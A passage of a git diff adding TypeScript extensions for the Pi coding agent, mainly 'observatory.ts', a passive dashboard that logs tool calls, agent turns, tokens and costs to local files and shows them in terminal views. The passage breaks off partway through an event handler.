Sub-Agents`, + `- Completed: ${done.length}`, + `- Failed: ${errored.length}`, + done.length > 0 ? `\n### Completed Tasks\n${done.map(a => `- [${a.role}] ${a.task.slice(0, 80)}`).join("\n")}` : "", + errored.length > 0 ? `\n### Failed Tasks\n${errored.map(a => `- [${a.role}] ${a.task.slice(0, 80)}${a.lastError ? ` — ${a.lastError.slice(0, 100)}` : ""}`).join("\n")}` : "", + ``, + `## Models Used`, + Array.from(modelsUsed).map(m => `- ${m}`).join("\n"), + ``, + `## Routing History`, + tierHistory.slice(-10).map(h => `- Turn ${h.turn}: ${h.reason}`).join("\n") || "- (none)", + ].filter(s => s !== "").join("\n"); + + writeFileSync(join(sessDir, filename), summary, "utf-8"); + } catch {} + }); + + // ── Cleanup ──────────────────────────────────────────────────────────── + + function killAll() { + for (const p of activeProcs) try { p.kill("SIGTERM"); } catch {} + setTimeout(() => { for (const p of activeProcs) try { p.kill("SIGKILL"); } catch {} }, 3000); + } + + process.on("exit", killAll); + process.on("SIGINT", () => { killAll(); process.exit(0); }); + process.on("SIGTERM", () => { killAll(); process.exit(0); }); +} diff --git a/extensions/observatory.ts b/extensions/observatory.ts new file mode 100644 index 0000000..7a22536 --- /dev/null +++ b/extensions/observatory.ts @@ -0,0 +1,1100 @@ +/** + * Observatory — Comprehensive observability dashboard for the Pi coding agent + * + * A completely passive extension that observes and records every event — + * session starts, tool calls, agent turns, errors, context usage — into + * an append-only JSONL log and rolling summary on disk. + * + * Surfaces: + * - Widget: compact live dashboard with session stats, tool counts, cost + * - Footer: single-line status bar with model, context %, event count + * - Overlay: full-screen dashboard (4 views) opened via /obs command + * - Export: markdown report via /obs export + * + * Storage: .pi/observatory/events.jsonl, .pi/observatory/summary.json + * + * Commands: + * /obs or /observatory — open dashboard overlay + * /obs clear — wipe all observatory data + * /obs export — write markdown report + * /obs agents — overlay → agents view + * /obs tools — overlay → tools view + * /obs timeline — overlay → timeline view + * + * Usage: pi -e extensions/observatory.ts + */ + +import type { AssistantMessage } from "@mariozechner/pi-ai"; +import type { ExtensionAPI, ExtensionContext } from "@mariozechner/pi-coding-agent"; +import { DynamicBorder } from "@mariozechner/pi-coding-agent"; +import { Container, matchesKey, Text, truncateToWidth } from "@mariozechner/pi-tui"; +import * as fs from "fs"; +import * as path from "path"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +// ── Data Model ───────────────────────────────────────────────────────── + +type ObsEventType = + | "session_start" + | "session_switch" + | "session_fork" + | "tool_call" + | "tool_end" + | "agent_start" + | "agent_end" + | "dispatch" + | "error" + | "blocked"; + +interface ObsEvent { + ts: number; + type: ObsEventType; + sessionId: string; + tool?: string; + durationMs?: number; + blocked?: boolean; + blockReason?: string; + agentTurn?: number; + contextPercent?: number; + tokensIn?: number; + tokensOut?: number; + cost?: number; + error?: string; + meta?: Record; +} + +interface ObsSummary { + totalSessions: number; + totalEvents: number; + totalToolCalls: number; + totalAgentTurns: number; + totalErrors: number; + totalBlocked: number; + totalTokensIn: number; + totalTokensOut: number; + totalCost: number; + toolCounts: Record; + toolDurations: Record; + toolBlocked: Record; + sessions: SessionSummary[]; + lastUpdated: number; +} + +interface SessionSummary { + sessionId: string; + startedAt: number; + endedAt?: number; + model?: string; + toolCalls: number; + agentTurns: number; + errors: number; + blocked: number; + tokensIn: number; + tokensOut: number; + cost: number; + peakContextPercent: number; +} + +// ── Helpers ──────────────────────────────────────────────────────────── + +function fmtDuration(ms: number): string { + if (ms < 1000) return `${ms}ms`; + const secs = Math.floor(ms / 1000); + if (secs < 60) return `${secs}s`; + const mins = Math.floor(secs / 60); + const remSecs = secs % 60; + if (mins < 60) return `${mins}m ${remSecs}s`; + const hrs = Math.floor(mins / 60); + const remMins = mins % 60; + return `${hrs}h ${remMins}m`; +} + +function fmtTokens(n: number): string { + if (n < 1000) return `${n}`; + return `${(n / 1000).toFixed(1)}k`; +} + +function fmtCost(n: number): string { + return `$${n.toFixed(4)}`; +} + +function fmtTime(ts: number): string { + const d = new Date(ts); + return d.toLocaleTimeString([], { hour: "2-digit", minute: "2-digit", second: "2-digit" }); +} + +function fmtDate(ts: number): string { + const d = new Date(ts); + return d.toLocaleDateString([], { year: "numeric", month: "2-digit", day: "2-digit" }); +} + +function shortId(): string { + return Math.random().toString(36).slice(2, 8); +} + +function emptySummary(): ObsSummary { + return { + totalSessions: 0, + totalEvents: 0, + totalToolCalls: 0, + totalAgentTurns: 0, + totalErrors: 0, + totalBlocked: 0, + totalTokensIn: 0, + totalTokensOut: 0, + totalCost: 0, + toolCounts: {}, + toolDurations: {}, + toolBlocked: {}, + sessions: [], + lastUpdated: Date.now(), + }; +} + +function emptySessionSummary(sessionId: string, model?: string): SessionSummary { + return { + sessionId, + startedAt: Date.now(), + model, + toolCalls: 0, + agentTurns: 0, + errors: 0, + blocked: 0, + tokensIn: 0, + tokensOut: 0, + cost: 0, + peakContextPercent: 0, + }; +} + +// ── Token/Cost computation (follows tool-counter.ts pattern) ─────────── + +function computeTokensAndCost(ctx: ExtensionContext): { tokensIn: number; tokensOut: number; cost: number } { + let tokensIn = 0; + let tokensOut = 0; + let cost = 0; + try { + for (const entry of ctx.sessionManager.getBranch()) { + if (entry.type === "message" && entry.message.role === "assistant") { + const m = entry.message as AssistantMessage; + tokensIn += m.usage.input; + tokensOut += m.usage.output; + cost += m.usage.cost.total; + } + } + } catch { + // Session not yet ready — return zeros + } + return { tokensIn, tokensOut, cost }; +} + +// ── Extension ────────────────────────────────────────────────────────── + +export default function (pi: ExtensionAPI) { + // ── State ────────────────────────────────────────────────────────── + + let obsDir = ""; + let eventsPath = ""; + let summaryPath = ""; + + let sessionId = ""; + let sessionStartTs = 0; + let summary: ObsSummary = emptySummary(); + let currentSession: SessionSummary | null = null; + let sessionEvents: ObsEvent[] = []; + + let widgetCtx: ExtensionContext | null = null; + + // Tool call timing: Map — FIFO queue per tool + const toolTimers: Map = new Map(); + + // Agent turn tracking + let agentTurnCount = 0; + let agentTurnStartTs = 0; + + // Previous token/cost values for delta-based cross-session accumulation + let prevTokensIn = 0; + let prevTokensOut = 0; + let prevCost = 0; + + // Debounced summary flush + let summaryDirty = false; + let flushTimer: ReturnType | null = null; + + // ── Storage Layer ────────────────────────────────────────────────── + + function ensureDir() { + try { + if (!fs.existsSync(obsDir)) { + fs.mkdirSync(obsDir, { recursive: true }); + } + } catch {} + } + + function loadSummary() { + try { + if (fs.existsSync(summaryPath)) { + const raw = fs.readFileSync(summaryPath, "utf-8"); + const loaded = JSON.parse(raw) as ObsSummary; + // Merge loaded with defaults for any missing fields + summary = { ...emptySummary(), ...loaded }; + // Cap stored durations + for (const tool of Object.keys(summary.toolDurations)) { + if (summary.toolDurations[tool].length > 200) { + summary.toolDurations[tool] = summary.toolDurations[tool].slice(-200); + } + } + } + } catch { + summary = emptySummary(); + } + } + + function saveSummary() { + try { + summary.lastUpdated = Date.now(); + fs.writeFileSync(summaryPath, JSON.stringify(summary, null, 2), "utf-8"); + summaryDirty = false; + } catch {} + } + + function markDirty() { + summaryDirty = true; + } + + function startFlushTimer() { + if (flushTimer) return; + flushTimer = setInterval(() => { + if (summaryDirty) saveSummary(); + }, 5000); + } + + function stopFlushTimer() { + if (flushTimer) { + clearInterval(flushTimer); + flushTimer = null; + } + if (summaryDirty) saveSummary(); + } + + function appendEvent(evt: ObsEvent) { + try { + ensureDir(); + fs.appendFileSync(eventsPath, JSON.stringify(evt) + "\n", "utf-8"); + } catch {} + sessionEvents.push(evt); + // Keep in-memory events bounded + if (sessionEvents.length > 500) { + sessionEvents = sessionEvents.slice(-400); + } + summary.totalEvents++; + markDirty(); + } + + function clearAllData() { + try { + if (fs.existsSync(eventsPath)) fs.unlinkSync(eventsPath); + if (fs.existsSync(summaryPath)) fs.unlinkSync(summaryPath); + } catch {} + summary = emptySummary(); + sessionEvents = []; + toolTimers.clear(); + agentTurnCount = 0; + currentSession = emptySessionSummary(sessionId, widgetCtx?.model?.id); + summary.sessions.push(currentSession); + summary.totalSessions = summary.sessions.length; + markDirty(); + } + + // ── Context snapshot ─────────────────────────────────────────────── + + function getContextPercent(): number { + try { + const usage = widgetCtx?.getContextUsage(); + return usage ? Math.round(usage.percent ?? 0) : 0; + } catch { + return 0; + } + } + + // ── Widget rendering ─────────────────────────────────────────────── + + function updateWidget() { + if (!widgetCtx) return; + + try { + widgetCtx.ui.setWidget("observatory", (_tui, theme) => { + const container = new Container(); + const borderFn = (s: string) => theme.fg("accent", s); + + container.addChild(new DynamicBorder(borderFn)); + + const headerText = new Text("", 1, 0); + container.addChild(headerText); + + const liveText = new Text("", 1, 0); + container.addChild(liveText); + + const hintText = new Text("", 1, 0); + container.addChild(hintText); + + container.addChild(new DynamicBorder(borderFn)); + + return { + render(width: number): string[] { + const elapsed = fmtDuration(Date.now() - sessionStartTs); + const toolCount = currentSession?.toolCalls || 0; + const turns = currentSession?.agentTurns || 0; + const ctxPct = getContextPercent(); + + // Update peak context + if (currentSession && ctxPct > currentSession.peakContextPercent) { + currentSession.peakContextPercent = ctxPct; + } + + // Line 1: session info + const sid = theme.fg("accent", `#${sessionId}`); + const line1 = + theme.fg("dim", " SESSION ") + sid + + theme.fg("dim", " │ ⏱ ") + theme.fg("success", elapsed) + + theme.fg("dim", " │ 🔧 ") + theme.fg("accent", `${toolCount}`) + theme.fg("dim", " tools") + + theme.fg("dim", " │ 🔄 ") + theme.fg("accent", `${turns}`) + theme.fg("dim", " turns") + + theme.fg("dim", " │ 📊 ") + theme.fg(ctxPct > 80 ? "error" : ctxPct > 60 ? "warning" : "success", `${ctxPct}%`) + theme.fg("dim", " ctx"); + headerText.setText(truncateToWidth(line1, width - 4)); + + // Line 2: tool frequency bar (top 8 tools) + const tc = summary.toolCounts; + const sorted = Object.entries(tc).sort((a, b) => b[1] - a[1]).slice(0, 8); + const parts = sorted.map( + ([name, count]) => + theme.fg("accent", name) + theme.fg("dim", "(") + theme.fg("success", `${count}`) + theme.fg("dim", ")") + ); + const liveLine = parts.length > 0 + ? theme.fg("dim", " LIVE ") + theme.fg("success", "● ") + parts.join(theme.fg("dim", " ")) + : theme.fg("dim", " LIVE ● waiting for tools…"); + liveText.setText(truncateToWidth(liveLine, width - 4)); + + // Line 3: hint + tokens + cost + const { tokensIn, tokensOut, cost } = computeTokensAndCost(widgetCtx!); + const hintLine = + theme.fg("dim", " /obs") + theme.fg("muted", " — dashboard") + + theme.fg("dim", " │ tokens: ") + + theme.fg("success", fmtTokens(tokensIn)) + theme.fg("dim", " in · ") + + theme.fg("accent", fmtTokens(tokensOut)) + theme.fg("dim", " out") + + theme.fg("dim", " │ ") + theme.fg("warning", fmtCost(cost)); + hintText.setText(truncateToWidth(hintLine, width - 4)); + + return container.render(width); + }, + invalidate() { + container.invalidate(); + }, + }; + }); + } catch {} + } + + // ── Footer rendering ─────────────────────────────────────────────── + + function updateFooter(ctx: ExtensionContext) { + try { + ctx.ui.setFooter((_tui, theme) => ({ + dispose: () => {}, + invalidate() {}, + render(width: number): string[] { + const model = ctx.model?.id || "no-model"; + const ctxPct = getContextPercent(); + const evtCount = summary.totalEvents; + + const line = + theme.fg("accent", " 🔭 Observatory") + + theme.fg("dim", " │ ") + theme.fg("muted", model) + + theme.fg("dim", " │ ctx: ") + + theme.fg(ctxPct > 80 ? "error" : ctxPct > 60 ? "warning" : "success", `${ctxPct}%`) + + theme.fg("dim", " │ ") + theme.fg("success", `${evtCount}`) + theme.fg("dim", " events") + + theme.fg("dim", " │ /obs for dashboard "); + + return [truncateToWidth(line, width)]; + }, + })); + } catch {} + } + + // ── Dashboard Overlay ────────────────────────────────────────────── + + async function openOverlay(ctx: ExtensionContext, initialView: number = 0) { + if (!ctx.hasUI) return; + + let currentView = initialView; // 0=Feed, 1=Agents, 2=Tools, 3=Timeline + let scrollOffset = 0; + + const viewNames = ["1:Feed", "2:Agents", "3:Tools", "4:Timeline"]; + + await ctx.ui.custom((_tui, theme, _kb, done) => { + return { + render(width: number): string[] { + const lines: string[] = []; + const innerW = width - 2; + + // ── Header ── + lines.push(""); + const tabs = viewNames.map((name, i) => + i === currentView + ? theme.fg("accent", theme.bold(`[${name}]`)) + : theme.fg("dim", `[${name}]`) + ).join(" "); + lines.push(truncateToWidth( + " " + theme.fg("accent", theme.bold("🔭 Observatory Dashboard")) + + " ".repeat(Math.max(1, innerW - 24 - viewNames.join(" ").length - 2)) + + tabs, + width, + )); + lines.push(theme.fg("dim", "─".repeat(width))); + + // ── View content ── + const contentLines = renderView(currentView, width, theme, scrollOffset); + lines.push(...contentLines); + + // ── Footer controls ── + lines.push(""); + lines.push(theme.fg("dim", "─".repeat(width))); + lines.push(truncateToWidth( + " " + theme.fg("dim", "1-4/Tab: views │ ↑↓/j/k: scroll │ PgUp/PgDn: page │ c: clear │ q/Esc: close"), + width, + )); + lines.push(""); + + return lines; + }, + handleInput(data: string) { + if (matchesKey(data, "escape") || data === "q") { + done(undefined); + return; + } + if (data === "1") { currentView = 0; scrollOffset = 0; } + else if (data === "2") { currentView = 1; scrollOffset = 0; } + else if (data === "3") { currentView = 2; scrollOffset = 0; } + else if (data === "4") { currentView = 3; scrollOffset = 0; } + else if (data === "\t") { currentView = (currentView + 1) % 4; scrollOffset = 0; } + else if (matchesKey(data, "up") || data === "k") { scrollOffset = Math.max(0, scrollOffset - 1); } + else if (matchesKey(data, "down") || data === "j") { scrollOffset++; } + else if (matchesKey(data, "pageUp")) { scrollOffset = Math.max(0, scrollOffset - 20); } + else if (matchesKey(data, "pageDown")) { scrollOffset += 20; } + else if (data === "c") { + clearAllData(); + scrollOffset = 0; + } + _tui.requestRender(); + }, + invalidate() {}, + }; + }, { + overlay: true, + overlayOptions: { width: "90%", anchor: "center" }, + }); + } + + // ── View Renderers ───────────────────────────────────────────────── + + function renderView(view: number, width: number, theme: any, offset: number): string[] { + switch (view) { + case 0: return renderFeedView(width, theme, offset); + case 1: return renderAgentsView(width, theme, offset); + case 2: return renderToolsView(width, theme, offset); + case 3: return renderTimelineView(width, theme, offset); + default: return []; + } + } + + // ── View 1: Live Feed ────────────────────────────────────────────── + + function renderFeedView(width: number, theme: any, offset: number): string[] { + const lines: string[] = []; + const events = sessionEvents.slice(-100); + + if (events.length === 0) { + lines.push(""); + lines.push(truncateToWidth(" " + theme.fg("dim", "No events yet. Start working and events will appear here."), width)); + return lines; + } + + lines.push(truncateToWidth( + " " + theme.fg("muted", `Showing last ${events.length} events from session #${sessionId}`), + width, + )); + lines.push(""); + + const iconMap: Record = { + session_start: "🚀", session_switch: "🔀", session_fork: "🔱", + tool_call: "🔧", tool_end: "✅", agent_start: "🤖", agent_end: "🏁", + dispatch: "📤", error: "❌", blocked: "🚫", + }; + const colorMap: Record = { + session_start: "success", session_switch: "accent", session_fork: "accent", + tool_call: "accent", tool_end: "success", agent_start: "warning", agent_end: "success", + dispatch: "accent", error: "error", blocked: "error", + }; + + const visible = events.slice(offset); + for (const evt of visible) { + const time = theme.fg("dim", `[${fmtTime(evt.ts)}]`); + const icon = iconMap[evt.type] || "●"; + const color = colorMap[evt.type] || "muted"; + let detail = ""; + + if (evt.type === "tool_call" && evt.tool) { + detail = theme.fg(color, `${evt.tool}`) + + (evt.contextPercent !== undefined ? theme.fg("dim", ` ctx:${evt.contextPercent}%`) : ""); + } else if (evt.type === "tool_end" && evt.tool) { + detail = theme.fg(color, `${evt.tool}`) + + (evt.durationMs !== undefined ? theme.fg("dim", ` ${fmtDuration(evt.durationMs)}`) : ""); + } else if (evt.type === "agent_start") { + detail = theme.fg(color, `turn #${evt.agentTurn || "?"}`) + + (evt.contextPercent !== undefined ? theme.fg("dim", ` ctx:${evt.contextPercent}%`) : ""); + } else if (evt.type === "agent_end") { + detail = theme.fg(color, `turn #${evt.agentTurn || "?"}`) + + (evt.durationMs !== undefined ? theme.fg("dim", ` ${fmtDuration(evt.durationMs)}`) : "") + + (evt.tokensIn !== undefined ? theme.fg("dim", ` tok:${fmtTokens(evt.tokensIn)}in`) : "") + + (evt.cost !== undefined ? theme.fg("dim", ` ${fmtCost(evt.cost)}`) : ""); + } else if (evt.type === "error") { + detail = theme.fg(color, evt.error || "unknown error"); + } else if (evt.type === "blocked") { + detail = theme.fg(color, `${evt.tool || "?"}: ${evt.blockReason || "blocked"}`); + } else { + detail = theme.fg(color, evt.type); + } + + lines.push(truncateToWidth(` ${time} ${icon} ${detail}`, width)); + } + + return lines; + } + + // ── View 2: Agent Performance ────────────────────────────────────── + + function renderAgentsView(width: number, theme: any, offset: number): string[] { + const lines: string[] = []; + + // Cross-session summary + lines.push(truncateToWidth( + " " + theme.fg("accent", theme.bold("Cross-Session Summary")), + width, + )); + lines.push(truncateToWidth( + " " + + theme.fg("muted", "Total turns: ") + theme.fg("success", `${summary.totalAgentTurns}`) + + theme.fg("dim", " │ ") + + theme.fg("muted", "Total sessions: ") + theme.fg("success", `${summary.totalSessions}`) + + theme.fg("dim", " │ ") + + theme.fg("muted", "Total cost: ") + theme.fg("warning", fmtCost(summary.totalCost)), + width, + )); + lines.push(""); + + // Current session agent turns + lines.push(truncateToWidth( + " " + theme.fg("accent", theme.bold("Current Session Turns")) + + theme.fg("dim", ` (#${sessionId})`), + width, + )); + lines.push(""); + + // Collect agent turn events + const turnStarts: ObsEvent[] = sessionEvents.filter(e => e.type === "agent_start"); + const turnEnds: ObsEvent[] = sessionEvents.filter(e => e.type === "agent_end"); + + if (turnStarts.length === 0) { + lines.push(truncateToWidth(" " + theme.fg("dim", "No agent turns recorded yet."), width)); + return lines; + } + + // Table header + const hdr = + theme.fg("accent", " Turn") + + theme.fg("accent", " │ Duration ") + + theme.fg("accent", " │ Tools ") + + theme.fg("accent", " │ Context ") + + theme.fg("accent", " │ Tokens In ") + + theme.fg("accent", " │ Cost "); + lines.push(truncateToWidth(hdr, width)); + lines.push(truncateToWidth(" " + theme.fg("dim", "─".repeat(Math.min(70, width - 4))), width)); + + // Build turn rows — pair starts with ends + const turnRows: string[] = []; + let prevCtx = 0; + for (let i = 0; i < turnStarts.length; i++) { + const start = turnStarts[i]; + const end = turnEnds[i]; // May be undefined if still running + const turn = start.agentTurn || (i + 1); + const dur = end?.durationMs !== undefined ? fmtDuration(end.durationMs) : "running…"; + + // Count tools between this turn start and end (or now) + const startTs = start.ts; + const endTs = end?.ts || Date.now(); + const toolsInTurn = sessionEvents.filter( + e => e.type === "tool_call" && e.ts >= startTs && e.ts <= endTs + ).length; + + const ctxNow = end?.contextPercent ?? start.contextPercent ?? 0; + const ctxDelta = ctxNow - prevCtx; + prevCtx = ctxNow; + + const tokIn = end?.tokensIn ?? 0; + const cost = end?.cost ?? 0; + + const row = + theme.fg("success", ` #${String(turn).padStart(2)}`) + + theme.fg("dim", " │ ") + theme.fg("muted", dur.padEnd(9)) + + theme.fg("dim", " │ ") + theme.fg("accent", String(toolsInTurn).padStart(5)) + " " + + theme.fg("dim", " │ ") + theme.fg(ctxDelta > 15 ? "warning" : "muted", `${ctxDelta >= 0 ? "+" : ""}${ctxDelta}%`.padStart(7)) + " " + + theme.fg("dim", " │ ") + theme.fg("muted", fmtTokens(tokIn).padStart(9)) + " " + + theme.fg("dim", " │ ") + theme.fg("warning", fmtCost(cost).padStart(8)); + turnRows.push(row); + } + + const visible = turnRows.slice(offset); + for (const row of visible) { + lines.push(truncateToWidth(row, width)); + } + + return lines; + } + + // ── View 3: Tool Analytics ───────────────────────────────────────── + + function renderToolsView(width: number, theme: any, offset: number): string[] { + const lines: string[] = []; + + lines.push(truncateToWidth( + " " + theme.fg("accent", theme.bold("Tool Analytics")) + + theme.fg("dim", " (all sessions)"), + width, + )); + lines.push(""); + + const tc = summary.toolCounts; + const entries = Object.entries(tc).sort((a, b) => b[1] - a[1]); + + if (entries.length === 0) { + lines.push(truncateToWidth(" " + theme.fg("dim", "No tool usage recorded yet."), width)); + return lines; + } + + const maxCount = entries[0][1]; + const barWidth = Math.min(25, Math.floor(width * 0.3)); + const blocks = "▏▎▍▌▋▊▉█"; + + const visible = entries.slice(offset); + for (const [toolName, count] of visible) { + // Bar + const ratio = maxCount > 0 ? count / maxCount : 0; + const fullBlocks = Math.floor(ratio * barWidth); + const remainder = (ratio * barWidth) - fullBlocks; + const partialIdx = Math.floor(remainder * 8); + let bar = "█".repeat(fullBlocks); + if (fullBlocks < barWidth && partialIdx > 0) { + bar += blocks[partialIdx - 1]; + } + + // Duration stats + const durations = summary.toolDurations[toolName] || []; + let avgDur = "—"; + let minDur = "—"; + let maxDur = "—"; + if (durations.length > 0) { + const avg = durations.reduce((a, b) => a + b, 0) / durations.length; + const min = Math.min(...durations); + const max = Math.max(...durations); + avgDur = fmtDuration(Math.round(avg)); + minDur = fmtDuration(min); + maxDur = fmtDuration(max); + } + + const blocked = summary.toolBlocked[toolName] || 0; + + const namePad = toolName.padEnd(12); + const line = + " " + + theme.fg("accent", namePad) + " " + + theme.fg("success", bar.padEnd(barWidth)) + " " + + theme.fg("muted", String(count).padStart(5)) + + theme.fg("dim", " avg: ") + theme.fg("muted", avgDur.padEnd(6)) + + theme.fg("dim", " min: ") + theme.fg("muted", minDur.padEnd(6)) + + theme.fg("dim", " max: ") + theme.fg("muted", maxDur.padEnd(6)) + + (blocked > 0 + ? theme.fg("dim", " blocked: ") + theme.fg("error", `${blocked}`) + : theme.fg("dim", " blocked: ") + theme.fg("muted", "0")); + + lines.push(truncateToWidth(line, width)); + } + + return lines; + } + + // ── View 4: Timeline ─────────────────────────────────────────────── + + function renderTimelineView(width: number, theme: any, offset: number): string[] { + const lines: string[] = []; + + lines.push(truncateToWidth( + " " + theme.fg("accent", theme.bold("Session Timeline")) + + theme.fg("dim", ` (${summary.sessions.length} sessions)`), + width, + )); + lines.push(""); + + if (summary.sessions.length === 0) { + lines.push(truncateToWidth(" " + theme.fg("dim", "No sessions recorded yet."), width)); + return lines; + } + + // Show sessions newest first + const sessionsDesc = [...summary.sessions].reverse(); + const cardLines: string[] = []; + + for (const sess of sessionsDesc) { + const dur = sess.endedAt + ? fmtDuration(sess.endedAt - sess.startedAt) + : fmtDuration(Date.now() - sess.startedAt); + const date = fmtDate(sess.startedAt); + const time = fmtTime(sess.startedAt); + const isCurrent = sess.sessionId === sessionId; + + const topBorder = theme.fg("dim", " ┌─ ") + + theme.fg("accent", `Session ${sess.sessionId}`) + + (isCurrent ? theme.fg("success", " (current)") : "") + + theme.fg("dim", ` ─ ${date} ${time} `) + + theme.fg("dim", "─".repeat(Math.max(0, width - 50))); + cardLines.push(truncateToWidth(topBorder, width)); + + const line1 = + theme.fg("dim", " │ ") + + theme.fg("muted", "Duration: ") + theme.fg("success", dur) + + theme.fg("dim", " │ ") + + theme.fg("muted", "Model: ") + theme.fg("accent", sess.model || "?") + + theme.fg("dim", " │ ") + + theme.fg("muted", "Tools: ") + theme.fg("success", `${sess.toolCalls}`) + + theme.fg("dim", " │ ") + + theme.fg("muted", "Turns: ") + theme.fg("success", `${sess.agentTurns}`); + cardLines.push(truncateToWidth(line1, width)); + + const line2 = + theme.fg("dim", " │ ") + + theme.fg("muted", "Cost: ") + theme.fg("warning", fmtCost(sess.cost)) + + theme.fg("dim", " │ ") + + theme.fg("muted", "Peak Context: ") + theme.fg( + sess.peakContextPercent > 80 ? "error" : sess.peakContextPercent > 60 ? "warning" : "success", + `${sess.peakContextPercent}%`, + ) + + theme.fg("dim", " │ ") + + theme.fg("muted", "Errors: ") + theme.fg(sess.errors > 0 ? "error" : "muted", `${sess.errors}`) + + theme.fg("dim", " │ ") + + theme.fg("muted", "Tokens: ") + + theme.fg("success", fmtTokens(sess.tokensIn)) + theme.fg("dim", " in / ") + + theme.fg("accent", fmtTokens(sess.tokensOut)) + theme.fg("dim", " out"); + cardLines.push(truncateToWidth(line2, width)); + + const botBorder = theme.fg("dim", " └" + "─".repeat(Math.max(0, width - 5)) + "┘"); + cardLines.push(truncateToWidth(botBorder, width)); + cardLines.push(""); + } + + const visible = cardLines.slice(offset); + lines.push(...visible); + + return lines; + } + + // ── Export Report ────────────────────────────────────────────────── + + function exportReport(ctx: ExtensionContext) { + try { + ensureDir(); + const { tokensIn, tokensOut, cost } = computeTokensAndCost(ctx); + const elapsed = fmtDuration(Date.now() - sessionStartTs); + const model = ctx.model?.id || "unknown"; + + const toolRows = Object.entries(summary.toolCounts) + .sort((a, b) => b[1] - a[1]) + .map(([name, count]) => { + const durations = summary.toolDurations[name] || []; + const avg = durations.length > 0 + ? fmtDuration(Math.round(durations.reduce((a, b) => a + b, 0) / durations.length)) + : "—"; + const blocked = summary.toolBlocked[name] || 0; + return `| ${name} | ${count} | ${avg} | ${blocked} |`; + }) + .join("\n"); + + const sessionRows = summary.sessions.map(sess => { + const dur = sess.endedAt + ? fmtDuration(sess.endedAt - sess.startedAt) + : fmtDuration(Date.now() - sess.startedAt); + return `| ${sess.sessionId} | ${fmtDate(sess.startedAt)} | ${dur} | ${sess.model || "?"} | ${sess.toolCalls} | ${sess.agentTurns} | ${fmtCost(sess.cost)} | ${sess.peakContextPercent}% |`; + }).join("\n"); + + const report = `# 🔭 Observatory Report +Generated: ${new Date().toISOString()} + +## Current Session +- **ID:** ${sessionId} +- **Duration:** ${elapsed} +- **Model:** ${model} +- **Tool Calls:** ${currentSession?.toolCalls || 0} +- **Agent Turns:** ${currentSession?.agentTurns || 0} +- **Tokens:** ${fmtTokens(tokensIn)} in / ${fmtTokens(tokensOut)} out +- **Cost:** ${fmtCost(cost)} +- **Peak Context:** ${currentSession?.peakContextPercent || 0}% + +## Tool Usage +| Tool | Count | Avg Duration | Blocked | +|------|-------|-------------|---------| +${toolRows || "| (none) | — | — | — |"} + +## Cross-Session Summary +- **Total Sessions:** ${summary.totalSessions} +- **Total Events:** ${summary.totalEvents} +- **Total Tool Calls:** ${summary.totalToolCalls} +- **Total Agent Turns:** ${summary.totalAgentTurns} +- **Total Errors:** ${summary.totalErrors} +- **Total Blocked:** ${summary.totalBlocked} +- **Total Tokens In:** ${fmtTokens(summary.totalTokensIn)} +- **Total Tokens Out:** ${fmtTokens(summary.totalTokensOut)} +- **Total Cost:** ${fmtCost(summary.totalCost)} + +## Session History +| Session | Date | Duration | Model | Tools | Turns | Cost | Peak Ctx | +|---------|------|----------|-------|-------|-------|------|----------| +${sessionRows || "| (none) | — | — | — | — | — | — | — |"} +`; + + const reportPath = path.join(obsDir, "report.md"); + fs.writeFileSync(reportPath, report, "utf-8"); + ctx.ui.notify(`📄 Report exported to .pi/observatory/report.md`, "success"); + } catch (err) { + ctx.ui.notify(`Export failed: ${err instanceof Error ? err.message : String(err)}`, "error"); + } + } + + // ── Commands ─────────────────────────────────────────────────────── + + pi.registerCommand("obs", { + description: "Open Observatory dashboard. Args: clear | export | agents | tools | timeline", + handler: async (args, ctx) => { + widgetCtx = ctx; + const arg = (args || "").trim().toLowerCase(); + + if (arg === "clear") { + clearAllData(); + ctx.ui.notify("🔭 Observatory: All data cleared.", "info"); + updateWidget(); + return; + } + if (arg === "export") { + exportReport(ctx); + return; + } + + let view = 0; + if (arg === "agents") view = 1; + else if (arg === "tools") view = 2; + else if (arg === "timeline") view = 3; + + await openOverlay(ctx, view); + }, + }); + + pi.registerCommand("observatory", { + description: "Open Observatory dashboard (alias for /obs)", + handler: async (_args, ctx) => { + widgetCtx = ctx; + await openOverlay(ctx, 0); + }, + }); + + // ── Event Handlers ───────────────────────────────────────────────── + + pi.on("session_start", async (_event, ctx) => { + try { + applyExtensionDefaults(import.meta.url, ctx); + + widgetCtx = ctx; + sessionId = shortId(); + sessionStartTs = Date.now(); + agentTurnCount = 0; + sessionEvents = []; + toolTimers.clear(); + prevTokensIn = 0; + prevTokensOut = 0; + prevCost = 0; + + // Initialize storage + obsDir = path.join(ctx.cwd, ".pi", "observatory"); + eventsPath = path.join(obsDir, "events.jsonl"); + summaryPath = path.join(obsDir, "summary.json"); + ensureDir(); + loadSummary(); + + // Create session summary + currentSession = emptySessionSummary(sessionId, ctx.model?.id); + summary.sessions.push(currentSession); + summary.totalSessions = summary.sessions.length; + + // Log event + appendEvent({ + ts: Date.now(), + type: "session_start", + sessionId, + contextPercent: getContextPercent(), + meta: { model: ctx.model?.id }, + }); + + // Start flush timer + startFlushTimer(); + + // Set up UI + updateWidget(); + updateFooter(ctx); + } catch {} + }); + + pi.on("tool_call", async (event, _ctx) => { + try { + const toolName = event.toolName; + + // Record start time (FIFO queue per tool name) + if (!toolTimers.has(toolName)) { + toolTimers.set(toolName, []); + } + toolTimers.get(toolName)!.push(Date.now()); + + // Update counts + summary.toolCounts[toolName] = (summary.toolCounts[toolName] || 0) + 1; + summary.totalToolCalls++; + if (currentSession) currentSession.toolCalls++; + + // Log event + appendEvent({ + ts: Date.now(), + type: "tool_call", + sessionId, + tool: toolName, + contextPercent: getContextPercent(), + }); + + updateWidget(); + } catch {} + + // IMPORTANT: Never block — completely passive + return undefined; + }); + + pi.on("tool_execution_end", async (event) => { + try { + const toolName = event.toolName; + + // Calculate duration (pop earliest timer for this tool) + let durationMs: number | undefined; + const timers = toolTimers.get(toolName); + if (timers && timers.length > 0) { + const startTs = timers.shift()!; + durationMs = Date.now() - startTs; + + // Store duration (cap at 200 per tool) + if (!summary.toolDurations[toolName]) { + summary.toolDurations[toolName] = []; + } + summary.toolDurations[toolName].push(durationMs); + if (summary.toolDurations[toolName].length > 200) { + summary.toolDurations[toolName] = summary.toolDurations[toolName].slice(-200); + } + } + + // Log event + appendEvent({ + ts: Date.now(), + type: "tool_end", + sessionId, + tool: toolName, + durationMs, + }); + + updateWidget(); + } catch {} + }); + + pi.on("before_agent_start", async (_event, _ctx) => { + try { + agentTurnCount++; + agentTurnStartTs = Date.now(); + + summary.totalAgentTurns++; + if (currentSession) currentSession.agentTurns++; + + 